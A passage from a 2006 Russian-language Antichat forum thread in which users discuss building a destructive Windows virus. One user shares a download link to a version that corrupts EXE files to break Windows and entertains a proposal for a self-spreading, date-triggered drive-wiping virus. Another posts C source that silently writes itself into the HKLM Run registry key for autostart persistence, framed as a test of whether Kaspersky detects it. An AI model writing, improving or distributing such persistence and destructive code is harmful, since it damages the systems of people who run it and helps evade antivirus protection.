ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Безопасность > Soft - Windows
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 29.08.2006, 20:20
sn0w
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме:
1290766

Репутация: 1236


По умолчанию

tclover, чувак над было сразу опкодами написать
__________________


snow white world wide
 
Ответить с цитированием

  #22  
Старый 29.08.2006, 20:59
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

Цитата:
Сообщение от bul.666  
Понимаю вирь сделать который РЕАЛЬНО ЗАРАЖАЕТ КОМП... "вливатеся" в открываемыйе файлы, архивы, и т.д. пересылается по почте, диски... Который сидит до определенного момента, например дать ему дату типа 01.01.2007.= С НОВЫМ ГОДОМ ПРИДУРОК!!! или ПОКУПАЙТЕ НАШИ НОСКИ, И вирь валит винт... Или еще чего...
вот нормальное предложение, такс думаю проблема будет с отркытыми фафлами, а так можно и вместо ini Exe и dll спокойно валить, так что виндовс свалиться без проблем. я подумаю =)
 
Ответить с цитированием

  #23  
Старый 29.08.2006, 21:05
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

Цитата:
Сообщение от [hidden]  
Кстати, программы, которые пишут в HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run какую-нибудь инфу, ни Каспером, ни SAV CE не палятся, проверено лично. Другое дело, что этому "вирусу" это в натуре не нужно.
бугагага вот именно я бы тогда и сделал в реестр, так как каспер, то и палит!!!!!!! это я ещё узнал давным давно, даже когда у меня был старый каспер!

ссыла обновилась! http://slil.ru/23069868
Кстати теперь он портит не ini, а EXE, что естественно выведет из строя винду

Последний раз редактировалось Sn@k3; 29.08.2006 в 22:34..
 
Ответить с цитированием

  #24  
Старый 29.08.2006, 23:28
tclover
Banned
Регистрация: 13.12.2005
Сообщений: 1,091
Провел на форуме:
9751364

Репутация: 1847


По умолчанию

Горбатого могила исправит.
 
Ответить с цитированием

  #25  
Старый 29.08.2006, 23:58
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

tclover И не говори +)
эй а ты чего тут делаешь? ты htnl выучил? )
 
Ответить с цитированием

  #26  
Старый 30.08.2006, 00:00
tclover
Banned
Регистрация: 13.12.2005
Сообщений: 1,091
Провел на форуме:
9751364

Репутация: 1847


По умолчанию

Неа Возьми меня в ученики падшая сволоч!
 
Ответить с цитированием

  #27  
Старый 30.08.2006, 00:24
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию

ээээ чего-то ты разошелся, ты так низко пал =). а чего ругаешься? мы цывилизованные люди.
 
Ответить с цитированием

  #28  
Старый 30.08.2006, 00:48
[hidden]
Участник форума
Регистрация: 05.11.2005
Сообщений: 103
Провел на форуме:
425441

Репутация: 31
По умолчанию

http://webfile.ru/1080663

Написана на языке С (Visual C), не делает ничего плохого - только заносит в реестр в ключ автозагрузки , откуда ее запустили под именем damned.
Проверь, Sn@k3, неужто Каспер вот прямо сходу несчастную программу выпалит?
----------------
#include<stdio.h>
#include<string.h>
#include<windows.h>

#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/FILEALIGN:512 /SECTION:.text,EWRX /IGNORE:4078")
#pragma comment(linker,"/ENTRY:WinMain")
#pragma comment(linker,"/NODEFAULTLIB")

//********************************************
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR szCmdLine, int nCmdShow)
{
int nSize;
char *file_path;
char *buf;

char **argv;
DWORD argc;

long int result;
HKEY hKey;

SetErrorMode(SEM_NOGPFAULTERRORBOX);

//******************************************
argv = CommandLineToArgvW(GetCommandLineW(), &argc);

buf = (char *)malloc(256);
file_path = (char *)malloc(256);

nSize = GetCurrentDirectory(256, buf);
buf[nSize + 1] = '\0';

sprintf(file_path, "%s\\%ws", buf, argv[0]);
result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run ", 0, KEY_ALL_ACCESS, &hKey);

// заносим в реестр .../Run под именем damned
RegSetValueEx(hKey, "damned", 0, REG_SZ, file_path, strlen(file_path));
RegCloseKey(hKey);

exit(0);
}

Последний раз редактировалось [hidden]; 30.08.2006 в 00:51..
 
Ответить с цитированием

  #29  
Старый 30.08.2006, 01:24
[loy]
Участник форума
Регистрация: 24.03.2006
Сообщений: 184
Провел на форуме:
344009

Репутация: 72
По умолчанию

эх блин вирь писатель хренов
ты Че ВИрусоПисателей позориш та

по моему статья херовая
 
Ответить с цитированием

  #30  
Старый 30.08.2006, 01:28
[loy]
Участник форума
Регистрация: 24.03.2006
Сообщений: 184
Провел на форуме:
344009

Репутация: 72
По умолчанию

Цитата:
Неа Возьми меня в ученики падшая сволоч!
Клевер жоош
но кстати ты прав
СВОЛАЧАМ падшим не чего делать на ачате

Отжог ыыыыы пацотолом
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Новый вирус заражает исполняемые файлы и ворует пароли dinar_007 Мировые новости 0 17.08.2006 13:53
новый вирус - берегите документы 3-его июля BlackCats Мировые новости 6 06.07.2006 09:33
Новый вирус "зачистит" миллионы компьютеров… в пятницу •••™NO FEAR™••• Мировые новости 69 05.02.2006 06:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ